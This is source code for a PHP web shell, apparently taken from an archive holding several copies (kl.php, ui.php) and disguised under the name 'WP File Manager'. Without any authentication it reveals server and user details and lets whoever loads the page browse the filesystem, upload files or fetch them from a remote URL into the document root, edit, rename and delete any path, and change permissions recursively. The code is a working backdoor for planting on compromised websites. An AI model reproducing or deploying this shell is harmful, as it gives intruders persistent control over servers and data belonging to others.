error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëkorab@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëkorab@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
